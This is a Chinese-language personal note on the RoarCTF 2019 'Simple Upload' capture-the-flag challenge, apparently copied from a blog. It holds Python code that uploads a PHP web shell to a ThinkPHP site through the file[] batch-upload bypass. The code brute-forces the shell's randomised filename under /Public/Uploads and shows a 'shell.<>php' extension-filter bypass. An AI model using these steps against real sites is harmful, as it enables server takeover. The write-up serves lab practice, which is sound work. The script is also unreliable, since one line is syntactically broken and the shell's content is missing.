[RoarCTF 2019]Simple Upload 记录

说明 本篇为本人记录,并不是题解
下面这篇文章讲的很详细了
thinkphp
默认上传路径是/home/index/upload

为什么能绕过:
参考文献

[RoarCTF 2019]Simple Upload 记录_第1张图片
这是用thinkphp框架写的
在这里插入图片描述
他调用了uplaod()这个方法
搜了搜 thinkphp文件上传漏洞
在这里插入图片描述
emmm,果然还得从开发搞起
在这里插入图片描述
由此批量上传文件

import requests
'''方法一'''
url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/index.php/home/index/upload'
s = requests.Session()

file1 = {"file":("shell","123",)}
file2 = {"file[]":("shell.php",")} #批量上传用[]
r = s.post(url,files=file1)
print(r.text)
r = s.post(url,files=file2)
print(r.text)
r = s.post(url,files=file1)
print(r.text)

'''爆破'''

dir ='abcdefghijklmnopqrstuvwxyz0123456789'

for i in dir:
    for j in dir:
        for k in dir:
            for x in dir:
                for y in dir:
                    url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/Public/Uploads/2020-06-01/5ed4adac{}{}{}{}{}'.format(i,j,k,x,y)
                    print(url)
                    r = requests.get(url)
                    if r.status_code == 200:
                        print(url)
                        break
'''方法二'''
url = "http://9b96c9f8-7b74-491a-94fd-f8063d1b8a29.node3.buuoj.cn/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "")}
r = requests.post(url, files=files)
print(r.text)

你可能感兴趣的:([RoarCTF 2019]Simple Upload 记录)